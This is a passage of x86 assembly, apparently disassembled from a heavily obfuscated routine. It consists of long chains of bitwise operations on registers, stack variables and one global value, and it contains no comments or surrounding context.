mov ebx, dword [esp]
and ebx, 0x697f
or ecx, ebx
xor ecx, eax
mov eax, edx
and eax, ecx
xor ecx, edx
mov edx, ebp
or ecx, eax
xor edx, ecx
or ebp, ecx
not edx
and edx, ecx
mov eax, edx
and edx, 0xffffc16c
not eax
mov ecx, eax
or eax, ebp
and ecx, 0x3e93
not eax
or edx, ecx
mov ecx, ebp
and ebp, 0x3e93
not ecx
and ecx, 0xffffc16c
or ecx, ebp
xor ecx, edx
mov edx, dword [esp + 8]
or eax, ecx
mov ecx, edx
and edx, 0xfffff433
mov ebx, edx
mov edx, dword [esp + 4]
or ecx, edi
and edi, 0xfffff433
not ecx
or esi, edi
and edx, 0xbcc
or edx, ebx
xor esi, edx
mov edx, ecx
and edx, esi
xor esi, ecx
or esi, edx
mov ecx, esi
not ecx
mov edx, ecx
and ecx, esi
and esi, 0xffff991d
and edx, 0x66e2
or esi, edx
xor esi, 0xffff991d
mov edx, esi
xor esi, ecx
and edx, ecx
or esi, edx
mov edx, esi
and esi, 0xffffd96f
not edx
and edx, 0x2690
or edx, esi
mov ecx, edx
xor edx, 0x2210
xor ecx, 0x42
and edx, 0xfffffb3d
and ecx, 0x4c2
or ecx, edx
mov edx, eax
mov esi, ecx
not edx
xor ecx, 0xfffffb3d
xor esi, 0x4c2
and esi, edx
or edx, ecx
and ecx, eax
or ecx, esi
mov edi, edx
mov esi, edx
mov eax, ecx
not edi
and ecx, 0x3fd1
and esi, 0xffffc02e
not eax
and edi, 0x3fd1
or edx, eax
and eax, 0xffffc02e
or edi, esi
or ecx, eax
mov eax, dword [esp + 0x14]
not edx
xor ecx, edi
or edx, ecx
mov word [esp + eax*2 + 0x15c], dx
mov eax, dword [esp + 0x158]
mov dword [esp + 0x10], eax
mov eax, dword [0x4d0db4]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, ecx
mov ebx, ecx
not eax
xor ebx, 0x57a319eb
mov esi, eax
mov edx, eax
and ebx, ecx
and esi, ecx
and ecx, 0xd98bcff3
and edx, esi
xor esi, eax
or esi, edx
mov edx, esi
and esi, 0x4891f277
not edx
mov edi, edx
and edx, 0xd98bcff3
and edi, 0xb76e0d88
or edi, esi
xor edi, 0x911a3d84
or edx, edi
mov edi, eax
and edi, 0x2674300c
mov esi, edx
or ecx, edi
not esi
mov edi, ecx
xor edi, eax
and eax, 0x57a319eb
and edi, ecx
mov ecx, edi
and edi, edx
not ecx
or edx, ecx
and ecx, esi
not edx
or ecx, edi
mov esi, edx
and esi, ecx
xor ecx, edx
or ecx, esi
mov edx, ecx
xor edx, 0xd98bcff3
and edx, ecx
not ecx
and ecx, 0xd98bcff3
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, edx
and edx, 0x9160fffa
not ecx
and ecx, 0x6e9f0005
or edx, ecx
mov esi, edx
xor edx, 0xe080001
xor esi, 0x1040f790
and edx, 0x8f28086b
and esi, 0x70d7f794
or esi, edx
mov ecx, esi
xor esi, 0x70d7f794
mov edx, esi
xor ecx, 0x8f28086b
and esi, ecx
and edx, 0x3b895fd9
and ecx, 0xc476a026
or ecx, edx
xor ecx, 0xc476a026
mov edx, ecx
xor ecx, esi
and edx, esi
or ecx, edx
mov edx, ecx
and ecx, 0x49f950a1
not edx
mov esi, edx
and esi, 0xb606af5e
or ecx, esi
xor ecx, 0x49f950a1
or ecx, edx
mov edx, eax
and edx, ebx
xor ebx, eax
or ebx, edx
mov eax, ebx
and ebx, 0x57a319eb
not eax
and eax, 0xa85ce614
or ebx, eax
mov edx, ebx
mov eax, ebx
mov edi, ebx
and ebx, 0x23621324
not edx
xor eax, 0x859baad
and edi, 0xf7a64552
and eax, edx
and edx, 0xdc9decdb
mov esi, eax
or edx, ebx
and esi, edi
xor edi, eax
mov eax, ecx
and ecx, 0x4724f5f8
or edi, esi
not eax
mov esi, edi
and edi, 0x859baad
not esi
and esi, 0xf7a64552
or edi, esi
mov esi, edi
and edi, 0xda996c94
not esi
mov ebx, esi
and ebx, 0x2566936b
or edi, ebx
mov ebx, edx
xor edx, 0xd8996c90
xor ebx, 0x23621324
and edx, 0xda996c94
or esi, ebx
and ebx, 0x2566936b
or edx, ebx
not esi
xor edx, edi
or esi, edx
mov edx, esi
not edx
mov edi, edx
and edx, esi
and esi, 0xb4c17001
and edi, 0x4b3e8ffe
or esi, edi
mov edi, esi
xor esi, 0x4b3e8ffe
xor edi, 0x90804000
mov ebx, esi
and ebx, 0x64673eb5
and edi, 0x9b98c14a
or edi, ebx
mov ebx, edx
and edx, 0x9b98c14a
not ebx
or esi, ebx
and ebx, 0x64673eb5
or edx, ebx
not esi
xor edx, edi
or esi, edx
mov edx, eax
and edx, 0xb8db0a07
mov edi, esi
and esi, 0x7a1f409a
or edx, ecx
not edi
xor edx, 0xb8db0a07
mov ebx, edi
mov ecx, edx
xor edx, edi
or ebx, eax
and ecx, edi
and edi, 0x85e0bf65
not ebx
or edx, ecx
or esi, edi
mov ecx, edx
xor esi, eax
and edx, 0xb20695f2
not ecx
xor esi, 0x85e0bf65
and ecx, 0x4df96a0d
and esi, eax
mov eax, ebx
or edx, ecx
and eax, esi
xor esi, ebx
mov ecx, edx
or esi, eax
xor edx, 0x4df96a0d
xor ecx, 0xb20695f2
and edx, esi
not esi
mov eax, ecx
xor eax, esi
and esi, ecx
and eax, ecx
or esi, edx
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, esi
mov ecx, esi
mov edi, esi
not eax
and ecx, 0x54a80ae4
xor edi, 0x71b819cc
mov edx, eax
and edi, esi
and edx, 0xab57f51b
or ecx, edx
mov edx, ecx
xor ecx, 0x21101108
or ecx, 0x8e47e633
xor edx, 0x40000084
mov ebx, ecx
and edx, 0x61101084
and ebx, 0x16aeaf7a
or edx, ebx
mov ebx, edi
and edi, 0xe9515085
not ebx
or ecx, ebx
and ebx, 0x16aeaf7a
or edi, ebx
not ecx
xor edi, edx
or ecx, edi
mov edi, esi
mov edx, ecx
and ecx, 0xaf715ba3
and edi, 0xafbb737d
not edx
and edx, 0x508ea45c
or ecx, edx
mov edx, ecx
xor ecx, 0x1202880
xor edx, 0x800221
and ecx, 0xdf6968ce
and edx, 0x20969731
or ecx, edx
mov edx, eax
and edx, 0x50448c82
or edi, edx
mov edx, edi
xor edi, 0x40000802
xor edx, 0xafbb737d
and edi, 0xc60a7972
mov ebx, edx
and ebx, 0x39f5868d
or ebx, edi
mov edi, ecx
xor ecx, 0x69501
xor ebx, 0x39f5868d
xor edi, 0xdf6968ce
and ecx, 0x8747bd03
or ebx, edx
mov edx, edi
mov ebp, ebx
xor edx, ebx
and ebx, 0x8747bd03
not ebp
and edx, edi
and edi, 0x78b842fc
and ebp, 0x78b842fc
or edi, ecx
mov ecx, edx
or ebp, ebx
xor ebp, edi
and ecx, ebp
xor ebp, edx
or ebp, ecx
mov ecx, ebp
mov dword [esp + 0x14], ebp
not ecx
mov edx, ecx
mov ebx, ecx
mov dword [esp], ecx
mov ecx, ebp
and edx, 0x44dd61d6
and ecx, 0xbb229e29
or ecx, edx
mov edx, ecx
xor ecx, 0x44dd61d6
xor edx, 0x3028a08
mov edi, ecx
and edi, 0xb8a11465
and edx, 0x475eeb9a
or edx, edi
mov edi, ebx
and edi, ebp
mov ebx, edi
and edi, 0x475eeb9a
not ebx
or ecx, ebx
and ebx, 0xb8a11465
or edi, ebx
not ecx
xor edi, edx
or ecx, edi
mov edx, ecx
mov edi, ecx
xor edx, 0xcf6ad5dc
and edi, 0x9524d53e
and edx, ecx
not ecx
and ecx, 0x6adb2ac1
or edi, ecx
mov ecx, edi
xor edi, 0x621120c0
xor ecx, 0x9524d53e
and edi, 0x7311b4e6
mov ebx, ecx
and ebx, 0xcf6ad5dc
mov ebp, ebx
and ebp, edx
xor edx, ebx
or edx, ebp
mov ebx, edx
and edx, 0xf1e282a6
not ebx
and ebx, 0xe1d7d59
or edx, ebx
mov ebx, ecx
and ecx, 0x3e88577a
and ebx, 0x8cee4b19
or ebx, edi
mov edi, edx
xor ebx, 0x4d99e39c
or ecx, ebx
not ecx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
xor edx, 0xba6785d9
and edx, ecx
not ecx
and ecx, 0xba6785d9
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
and edx, 0x333480c2
not ecx
and ecx, 0xcccb7f3d
or edx, ecx
mov edi, edx
xor edx, 0x562c28c4
xor edi, 0x20518
and edx, 0xdf7d28c7
and edi, 0x2082d738
or edi, edx
mov edx, esi
and esi, 0x3e88577a
xor edx, 0x3e88577a
mov ecx, edi
xor edi, 0xcb6528c2
and edx, eax
and eax, 0xc177a885
xor ecx, 0x20808438
and edi, 0xcb677bc2
or eax, esi
mov esi, edx
and ecx, 0x3498843d
and esi, eax
xor eax, edx
or ecx, edi
or eax, esi
mov ebp, ecx
mov edx, eax
mov esi, eax
xor ebp, 0xcb677bc2
not edx
and esi, 0x428a45ad
mov edi, edx
and edx, 0xbd75ba52
and edi, eax
or edx, esi
mov esi, edi
and edi, 0xbd75ba52
not esi
or eax, esi
and esi, 0x428a45ad
or edi, esi
not eax
xor edi, edx
or eax, edi
mov esi, eax
and eax, 0xa07012b
not esi
mov edx, esi
and edx, 0xf5f8fed4
or eax, edx
mov edx, ecx
xor ecx, 0x61fa9080
xor eax, 0xf5f8fed4
xor edx, 0x3498843d
xor esi, eax
mov edi, edx
mov dword [esp + 4], edx
and esi, eax
mov eax, ebp
and edi, 0x1620415
and ebp, 0x92eb99f3
and eax, 0x540010a8
mov ebx, esi
mov esi, edx
or edi, eax
and ecx, esi
mov dword [esp + 8], ebx
mov eax, edi
xor edi, 0xfe9dfbea
xor eax, 0x1620004
mov edx, edi
and edx, 0x44844719
and eax, 0x116210a4
or eax, edx
mov edx, ecx
and ecx, 0xbb7bb8e6
not edx
or edi, edx
and edx, 0x44844719
or ecx, edx
not edi
xor ecx, eax
or edi, ecx
mov eax, edi
and edi, 0x7130bcd2
not eax
and eax, 0x8ecf432d
or edi, eax
mov eax, ebx
not eax
mov esi, edi
mov edx, eax
mov dword [esp + 0xc], eax
mov eax, ebx
mov ebx, edi
xor edi, 0x2e2abbb2
xor esi, 0xdbad5790
and eax, 0x272085d8
and edx, 0xd8df7a27
xor ebx, 0x2452a86f
or edx, eax
mov eax, edi
and edi, ebx
and ebx, 0x9fd2ceb7
mov ecx, edx
and eax, esi
xor edx, 0x2d589605
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 4]
xor ecx, 0xd8df7a27
mov dword [esp + 0x18], eax
mov eax, esi
and edx, ecx
and eax, ecx
xor ecx, esi
and esi, 0x602d3148
or ebx, esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], ecx
mov edx, ebx
xor ebx, 0x40290140
and edi, 0x6d14660c
xor edx, 0x9fd2ceb7
and ebx, 0x43a94760
or edi, ebp
mov eax, edx
and edx, 0xedee4b09
and eax, 0xbc56b89f
or eax, ebx
xor eax, 0xae470c69
or edx, eax
mov eax, edx
and edx, 0x852fae17
not eax
and eax, 0x7ad051e8
or edx, eax
mov eax, edi
xor edi, 0x7f05d2fa
xor eax, 0x102404
and eax, 0x1211b4f6
or edi, eax
mov eax, edi
and edi, 0x22083f0b
not eax
and eax, 0xddf7c0f4
or edi, eax
mov eax, dword [esp + 8]
mov ebx, edi
xor edi, 0xddf7c0f4
xor ebx, 0x22083f0b
mov ebp, eax
mov ecx, eax
mov esi, eax
and ebp, 0xedee4b09
xor ecx, 0xedee4b09
xor esi, 0xf587ec22
or ebp, ecx
mov eax, ebp
and ebp, 0xd4e4fc
not eax
and eax, 0xff2b1b03
or ebp, eax
mov eax, dword [esp + 0xc]
and esi, eax
and eax, 0x1211b4f6
or eax, ecx
mov dword [esp + 8], esi
mov esi, ebp
xor ebp, 0xff2b1b03
mov ecx, eax
and eax, 0x7bbf7010
xor esi, 0xd4e4fc
not ecx
and ecx, 0x84408fef
or eax, ecx
mov ecx, edx
xor edx, 0x7ad051e8
xor ecx, 0x852fae17
and edx, ebx
mov ebx, ecx
xor ebx, edi
and edi, ecx
and ebx, ecx
or edi, edx
mov edx, eax
mov ecx, ebx
xor edx, 0x4008b49
and ecx, edi
xor edi, ebx
and edx, 0x27a7bb59
or edi, ecx
mov ecx, eax
xor eax, 0x1dfa9e5d
xor ecx, 0x7bbf7010
mov dword [esp + 4], edi
mov ebx, ecx
and eax, ecx
mov ecx, esi
and ebx, 0xd85844a6
and ecx, 0x99ba11b2
or ebx, edx
mov edx, ebp
and ebp, 0x3a19e020
and edx, 0x6645ee4d
mov edi, ebx
or ecx, edx
mov edx, ebx
xor edi, 0x41e25514
xor ebx, 0x27a7bb59
xor edx, 0xd85844a6
and edi, edx
and edx, 0x3a19e020
mov dword [esp + 0xc], edi
and dword [esp + 0xc], eax
xor eax, edi
mov edi, ecx
and ecx, 0x6371fab0
or eax, dword [esp + 0xc]
not edi
and edi, 0x9c8e054f
or ecx, edi
mov edi, eax
and eax, 0x6371fab0
not edi
and edi, 0x9c8e054f
or eax, edi
xor eax, ecx
mov ecx, esi
or esi, ebx
and ebx, 0xc5e61fdf
and ecx, 0xc5e61fdf
or edx, ebx
not esi
or ebp, ecx
mov ecx, eax
xor edx, ebp
or esi, edx
mov edx, dword [esp + 4]
not esi
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, esi
mov ecx, esi
and esi, 0x4425f39
not eax
and ecx, 0xf8280000
and eax, 0x395a0c6
or ecx, eax
mov eax, edx
or edx, 0x4020921
xor ecx, 0xf8280000
not eax
and edx, 0x2f36a963
or esi, ecx
mov ecx, eax
and eax, 0xd0890084
or ecx, 0xfbbda0c6
or eax, edx
mov edx, ecx
and ecx, 0x2f36a963
not edx
and edx, 0x405618
or edx, ecx
xor edx, eax
mov eax, edx
and edx, 0x5e547be0
not eax
and eax, 0xa1ab841f
or edx, eax
mov eax, esi
and esi, 0x5e547be0
not eax
and eax, 0xa1ab841f
or esi, eax
xor esi, edx
mov edx, dword [esp + 0x18]
mov eax, edx
and edx, 0x4ed9fe0b
not eax
mov ecx, eax
and ecx, 0xb12601f4
or edx, ecx
mov edi, edx
mov edx, dword [esp + 0x2c]
mov ecx, edx
and edx, 0x4ed9fe0b
not ecx
or eax, ecx
and ecx, 0xb12601f4
or edx, ecx
not eax
xor edx, edi
mov edi, dword [esp + 0x1c]
or eax, edx
mov ecx, edi
and edi, 0xe28baadd
not ecx
mov edx, ecx
and edx, 0x1d745522
or edi, edx
mov ebx, edi
mov edi, dword [esp + 8]
mov edx, edi
and edi, 0xe28baadd
not edx
or ecx, edx
and edx, 0x1d745522
or edi, edx
not ecx
mov edx, eax
and eax, 0x96dbb0ac
xor edi, ebx
not edx
or ecx, edi
mov edi, dword [esp + 0x20]
and edx, 0x69244f53
or eax, edx
mov edx, ecx
and ecx, 0x96dbb0ac
not edx
and edx, 0x69244f53
or edi, dword [esp + 0x28]
or ecx, edx
xor ecx, eax
mov eax, edi
and edi, 0x3ad89d5
not eax
and eax, 0xfc52762a
or edi, eax
mov eax, ecx
xor edi, 0x3ad89d5
and eax, edi
xor edi, ecx
or edi, eax
mov eax, edi
mov ecx, edi
not eax
and ecx, 0xefce3fb9
mov edx, eax
and eax, 0x1031c046
and edx, edi
or eax, ecx
mov ecx, edx
and edx, 0x1031c046
not ecx
or edi, ecx
and ecx, 0xefce3fb9
or edx, ecx
not edi
xor edx, eax
or edi, edx
mov eax, edi
and edi, 0x2dab112d
not eax
mov ecx, eax
and ecx, 0xd254eed2
or edi, ecx
mov ecx, esi
xor edi, 0x2dab112d
and ecx, 0x46726c3
or edi, eax
mov eax, esi
and esi, 0xf82652be
not eax
and eax, 0xfb98d93c
or ecx, eax
mov eax, edi
and edi, 0x7d468089
not eax
xor ecx, 0x46726c3
mov edx, eax
and eax, 0xf82652be
and edx, 0x82b97f76
or edx, edi
mov edi, ecx
xor edx, 0x82b97f76
mov ebx, edx
and edi, edx
xor edx, ecx
and ecx, 0x7d9ad41
or esi, ecx
and ebx, 0x7d9ad41
or edx, edi
mov ecx, esi
or eax, ebx
not ecx
and ecx, eax
not eax
and eax, esi
or eax, ecx
mov ecx, edx
and edx, 0x609da4a1
not ecx
and ecx, 0x9f625b5e
or edx, ecx
mov ecx, eax
xor edx, 0x609da4a1
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
mov esi, edx
and edx, 0xdaa0b64b
not eax
and esi, 0x2a120744
mov ecx, eax
and ecx, 0xd5edf8bb
or esi, ecx
mov ecx, esi
and esi, 0x41230884
not ecx
and ecx, 0x8054a000
or esi, ecx
mov ecx, eax
and eax, 0xc177a884
and ecx, 0x255f49b4
or ecx, edx
mov edx, esi
xor esi, 0x69114961
xor ecx, 0x1bd71ecf
xor edx, 0x8046a004
and esi, 0x6917c961
or eax, ecx
mov edi, edx
mov ecx, eax
and eax, 0x455347ac
not ecx
and ecx, 0xbaacb853
or eax, ecx
mov ecx, eax
xor eax, 0xbaacb853
xor edi, eax
xor ecx, 0x440068c
and eax, 0x6917c961
and ecx, 0x96e8369e
and edi, edx
and edx, 0x80602084
or edx, esi
or ecx, eax
mov esi, dword [esp]
xor ecx, edx
mov edx, edi
and edi, 0x40252080
not edx
mov eax, edx
and eax, 0xa7daca6e
mov ebx, esi
or edi, eax
mov eax, ecx
and ecx, 0x58253591
and ebx, 0xba9119da
not eax
or edx, eax
and eax, 0xa7daca6e
or ecx, eax
not edx
xor ecx, edi
mov edi, dword [esp + 0x14]
or edx, ecx
mov dword [esp + 4], edx
mov eax, edi
and eax, 0x456ee625
or ebx, eax
mov ecx, ebx
mov dword [esp + 8], ebx
xor ebx, 0xba9119da
mov eax, ebx
xor ecx, 0x456ee625
mov dword [esp + 0x18], ebx
mov dword [esp + 0xc], ecx
and eax, 0xab55b4b3
and ecx, 0x54aa4b4c
or ecx, eax
mov eax, edi
xor ecx, 0xf0afc20d
and eax, 0x3cfa4db9
mov edx, ecx
xor edx, ebx
and edx, ecx
mov ecx, esi
and ecx, 0xc305b246
mov ebp, edx
and edx, 0xd2d86948
or eax, ecx
not ebp
xor eax, 0x67003b07
mov ecx, eax
mov eax, esi
xor eax, ecx
and eax, ecx
mov ecx, ebp
or ebp, 0x93b34658
and ecx, 0x2d2796b7
mov dword [esp], eax
or edx, ecx
mov ebx, edx
mov ecx, edx
xor edx, 0x2d2796b7
xor ebx, 0xd2d86948
xor ecx, 0xbe94d0ef
and ecx, ebx
and ebx, 0xa5f59105
mov edi, ecx
and ecx, 0x5cca8baf
not edi
mov esi, edi
or edi, ebp
and esi, 0xa3357450
not edi
or ecx, esi
mov esi, ebp
and ebp, 0xa3357450
not esi
and esi, 0x4c4889a7
or esi, ebp
mov ebp, eax
or ebp, 0x6c4cb9a7
xor esi, ecx
mov ecx, ebp
or edi, esi
mov esi, ebp
not ecx
and esi, 0xa9889710
and ecx, 0x12334048
or ecx, esi
mov esi, eax
xor esi, 0x93b34658
and esi, eax
mov eax, esi
and esi, 0x567768ef
not eax
or ebp, eax
and eax, 0xa9889710
or esi, eax
mov eax, edi
not ebp
xor esi, ecx
not eax
mov ecx, dword [esp]
or ebp, esi
and eax, ebp
not ebp
and ebp, edi
or ebp, eax
mov eax, edx
or edx, ecx
and eax, 0x5a0a6efa
not edx
or ebx, eax
mov eax, ecx
and ecx, 0x5a0a6efa
not eax
and eax, 0xa5f59105
or eax, ecx
xor eax, ebx
mov ebx, ebp
and ebp, 0x308338d2
not ebx
or edx, eax
mov eax, ebx
or ebx, edx
and eax, 0xcf7cc72d
not ebx
or ebp, eax
mov eax, edx
and edx, 0xcf7cc72d
not eax
and eax, 0x308338d2
or eax, edx
xor eax, ebp
or ebx, eax
mov eax, ebx
or ebx, 0x52c07036
not eax
and ebx, 0x72c47976
mov edx, eax
and eax, 0x84018000
or edx, 0xa4058940
or eax, ebx
mov ebx, dword [esp + 8]
mov ecx, edx
and edx, 0x72c47976
not ecx
and ecx, 0x93a0689
or ecx, edx
mov edx, dword [esp + 0xc]
xor ebx, 0xcfd0fe32
xor ecx, eax
mov eax, dword [esp + 0x18]
and ebx, edx
and edx, 0x7d90fbe6
and eax, 0x826f0419
or edx, eax
mov eax, edx
xor edx, 0x804e0018
xor eax, 0x7d90fbe6
and edx, 0xb0de18be
mov esi, eax
and esi, 0x8abe1817
mov edi, esi
and edi, ebx
xor ebx, esi
or ebx, edi
mov esi, ebx
and ebx, 0x8abe1816
not esi
and esi, 0x7541e7e9
or ebx, esi
mov esi, eax
and eax, 1
and esi, 0x4f21e741
or esi, edx
mov edx, ebx
and ebx, 0xab8536af
xor esi, 0xb0de18bf
not edx
or eax, esi
mov esi, edx
and esi, 0x547ac950
or edx, eax
or ebx, esi
mov esi, eax
and eax, 0x547ac950
not edx
not esi
and esi, 0xab8536af
or esi, eax
xor esi, ebx
or edx, esi
mov eax, edx
and edx, 0x2a195b4f
not eax
and eax, 0xd5e6a4b0
or eax, edx
mov edx, eax
xor eax, 0x8064a430
xor edx, 0x28114900
and eax, 0x826cb67f
and edx, 0x7d934980
or edx, eax
mov eax, ecx
and ecx, 0xdb3ccd6c
mov ebx, edx
xor edx, 0x820c2254
not eax
xor ebx, 0x7c910980
and edx, 0x830e6254
and ebx, 0x7cf19dab
or ebx, edx
mov edx, eax
mov esi, ebx
xor ebx, 0x24c11083
and edx, 0x24c33293
or ebx, 0xdb3ccd6c
or ecx, edx
xor esi, 0x830e6254
mov edx, eax
mov edi, ebx
and ebx, 0xf7ece760
and edx, esi
xor eax, esi
or esi, 0x24c33293
not edi
or eax, edx
and edi, 0x31093
or edi, ebx
mov ebx, esi
and esi, 0xf7ece760
not ebx
and ebx, 0x810080c
or ebx, esi
mov esi, ecx
and ecx, 0x122c1a2
not esi
xor ebx, edi
and esi, 0xfedd3e5d
or ecx, esi
mov esi, ebx
and ebx, 0x122c1a2
not esi
and esi, 0xfedd3e5d
or ebx, esi
xor ebx, ecx
mov ecx, eax
mov edx, ebx
not ecx
and ebx, 0x94424178
not edx
and ecx, 0x94424178
mov esi, edx
or edx, eax
and eax, 0x6bbdbe87
and esi, 0x6bbdbe87
or ecx, eax
not edx
or ebx, esi
xor ecx, ebx
or edx, ecx
mov ecx, edx
or edx, 0x4c10200
not ecx
and edx, 0x44c5020b
mov esi, ecx
and ecx, 0x89322580
or esi, 0xc936258b
or ecx, edx
mov eax, esi
and esi, 0x44c5020b
not eax
and eax, 0x3208d874
or eax, esi
xor eax, ecx
mov ecx, eax
and eax, 0x902045cb
not ecx
and ecx, 0x6fdfba34
or eax, ecx
mov edx, eax
xor eax, 0xa4218a2c
xor edx, 0x19024040
and eax, 0xe435aa2c
and edx, 0x1bca55d3
or edx, eax
mov eax, dword [esp + 4]
mov ecx, edx
xor edx, 0x64250020
xor ecx, 0x19804410
and edx, 0x666f11e3
and ecx, 0x9990ee1c
or ecx, edx
mov edx, ecx
xor ecx, 0x9990ee1c
xor edx, 0x666f11e3
mov esi, edx
and esi, ecx
and ecx, 0x94e74032
mov ebx, esi
and esi, 0x94e74032
not ebx
mov edi, ebx
or ebx, edx
and edx, 0x6b18bfcd
and edi, 0x6b18bfcd
or ecx, edx
not ebx
or esi, edi
xor ecx, esi
or ebx, ecx
mov ecx, ebx
mov esi, ebx
and ebx, 0x3ee972d
not ecx
and esi, 0xb18a3f67
mov edx, ecx
mov edi, ecx
and ecx, 0xfc1168d2
and edx, 0x4e75c098
or edi, 0x7682c5c
or ebx, ecx
or esi, edx
xor ebx, 0x3ee972d
mov edx, esi
xor esi, 0x200010
xor edx, 0x82444
or esi, 0xa0920181
and esi, 0xa1b20991
and edx, 0x648244c
or edx, esi
mov esi, edi
and edi, 0xa1b20991
not esi
and esi, 0x5805d222
or esi, edi
xor esi, edx
mov edx, esi
and esi, 0xf897d3a3
not edx
and edx, 0x7682c5c
or esi, edx
not esi
mov ecx, esi
and ecx, ebx
xor ebx, esi
mov esi, eax
or ebx, ecx
xor esi, 0x1119b33b
mov ecx, ebx
and ebx, 0x65d1512e
and esi, eax
not ecx
and ecx, 0x9a2eaed1
or ebx, ecx
mov ecx, eax
not ecx
mov ebp, ebx
xor ebx, 0x9a2eaed1
mov dword [esp], ecx
and ecx, 0x1119b33b
xor ebp, 0x65d1512e
mov edx, ecx
mov eax, ebp
and edx, esi
xor esi, ecx
and eax, 0x3e75f841
or esi, edx
mov edx, ebp
and ebp, 0x3ffd372b
mov ecx, esi
and esi, 0x1119b33b
and edx, 0x18a01be
not ecx
and ecx, 0xeee64cc4
or esi, ecx
mov ecx, ebx
and ecx, 0xc0000600
or edx, ecx
xor edx, 0x18a01be
or eax, edx
mov edx, eax
and eax, 0xe847633c
not edx
and edx, 0x17b89cc3
or eax, edx
mov edx, esi
mov ecx, eax
not edx
xor eax, 0xd6329b7d
mov edi, edx
xor ecx, 0x29cd6482
and edi, 0x93c98455
mov dword [esp + 0xc], ecx
and ecx, edx
or edx, eax
mov dword [esp + 8], edi
mov edi, eax
mov dword [esp + 0x14], ecx
mov ecx, eax
and eax, esi
and esi, 0x6c367baa
mov dword [esp + 0x18], edx
add esi, dword [esp + 8]
mov dword [esp + 0x1c], eax
and edi, 0x63ae9def
and ecx, 0x6ee4bfbd
mov edx, esi
xor esi, 0x91418455
xor edx, 0x6c367baa
and esi, 0xb165deff
mov eax, edx
and edx, 0x6ee4bfbd
and eax, 0x4e9a2100
or eax, esi
mov esi, dword [esp + 4]
xor eax, 0xdf816142
or edx, eax
mov eax, dword [esp]
and esi, 0xa351e6b9
and eax, 0x5cae1946
or esi, eax
mov eax, esi
xor esi, 0x324aa6fb
xor eax, 0x81114000
and eax, 0x911b4042
or esi, eax
mov eax, dword [esp + 0xc]
and eax, 0x9c516210
or edi, eax
xor edi, 0xf2b5ddad
or ecx, edi
mov eax, ecx
and ecx, 0xc5403182
not eax
and eax, 0x3abfce7d
or ecx, eax
mov eax, ebx
and ebx, 0x911b4042
and eax, 0xc002c8d4
or eax, ebp
xor eax, 0xaee67769
or ebx, eax
mov eax, ecx
xor ecx, 0x3abfce7d
mov ebp, ebx
xor eax, 0xc5403182
not ebp
and ebp, ecx
mov ecx, esi
not ecx
and ecx, edx
not edx
mov edi, edx
xor edi, esi
and esi, edx
and edi, edx
or esi, ecx
mov ecx, edi
and ecx, esi
xor esi, edi
or esi, ecx
mov ecx, eax
xor ecx, ebx
and ebx, eax
and ecx, eax
or ebx, ebp
mov eax, ecx
and ecx, 0xe98eaddb
not eax
mov edx, eax
and edx, 0x16715224
or ecx, edx
mov edx, ebx
and ebx, 0xe98eaddb
not edx
or eax, edx
and edx, 0x16715224
or ebx, edx
not eax
xor ebx, ecx
or eax, ebx
mov ecx, eax
xor ecx, esi
and eax, ecx
and ecx, esi
mov edx, eax
and eax, 0x5807faff
not edx
mov esi, edx
and esi, 0xa7f80500
or eax, esi
mov esi, ecx
and ecx, 0x5807faff
not esi
or edx, esi
and esi, 0xa7f80500
or ecx, esi
mov esi, dword [esp + 0x1c]
not edx
xor ecx, eax
or edx, ecx
mov ecx, dword [esp + 0x18]
or esi, dword [esp + 0x14]
not ecx
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
mov ecx, esi
and esi, 0xd0db6bbd
not ecx
and ecx, 0x2f249442
or ecx, esi
mov eax, ecx
xor ecx, 0x2f249442
xor eax, 0xc0cb2280
mov esi, ecx
and esi, 0x3134dd3d
and eax, 0xcecb22c2
or eax, esi
mov esi, edx
xor eax, 0xcecb22c2
not esi
or eax, ecx
mov ecx, eax
not ecx
and ecx, esi
or esi, eax
and eax, edx
not esi
or eax, ecx
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, eax
mov esi, eax
not ecx
and esi, 0x3e70d3dc
mov edx, ecx
and edx, 0xc18f2c23
or esi, edx
mov edx, ecx
xor esi, 0x3e70d3dc
and edx, eax
mov edi, esi
and edi, edx
xor edx, esi
or edx, edi
mov edi, ecx
mov esi, edx
and edx, 0x9c158c4
and edi, 0xfe7a81d1
not esi
and esi, 0xd224a210
or edx, esi
mov esi, eax
or eax, 0x800f880b
and esi, 0x1857e2e
xor edx, 0x9c158c4
and eax, 0xd8cf9f0f
or edi, esi
mov esi, ecx
or edx, 0x241a052b
xor edi, 0xda6084fa
and esi, 0xdbe5fad4
or esi, edi
mov edi, esi
and esi, 0x395f058f
not edi
and edi, 0xc6a0fa70
or esi, edi
mov edi, esi
xor esi, 0xc6a0fa70
xor edi, 0x395f058f
and edi, edx
not edx
mov ebx, edx
xor ebx, esi
and esi, edx
and ebx, edx
or esi, edi
mov edx, ebx
and edx, esi
xor esi, ebx
or esi, edx
mov edx, esi
mov edi, esi
xor edx, 0x241a052b
and edi, 0x20020123
and edx, esi
not esi
and esi, 0x4180408
or edi, esi
xor edi, 0x20020123
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov esi, edx
mov edi, edx
and edx, 0xca3bfa9c
not esi
and edi, 0x31440162
and esi, 0x4800401
or edi, esi
xor edi, 0x31440162
or edx, edi
mov esi, edx
and edx, 0x9266bcce
not esi
and esi, 0x6d994331
or edx, esi
mov edi, edx
xor edx, 0x585d4652
mov esi, edx
xor edi, 0x4201800
or edx, 0x6df819e2
and esi, 0x219001e2
and edi, 0x4c681800
or edi, esi
mov esi, edx
and edx, 0x2cc406ac
mov ebx, edi
xor edi, 0x208406ac
not esi
xor ebx, 0x40281800
and esi, 0x9203e011
and edi, 0x2cc406ac
and ebx, 0x41381942
or esi, edx
or ebx, edi
xor esi, ebx
mov edx, esi
not esi
and edx, 0xea3ad35d
and esi, 0x15c52ca2
or esi, edx
mov ebx, esi
and esi, 0x783d3540
not ebx
mov edx, ebx
and edx, 0x87c2cabf
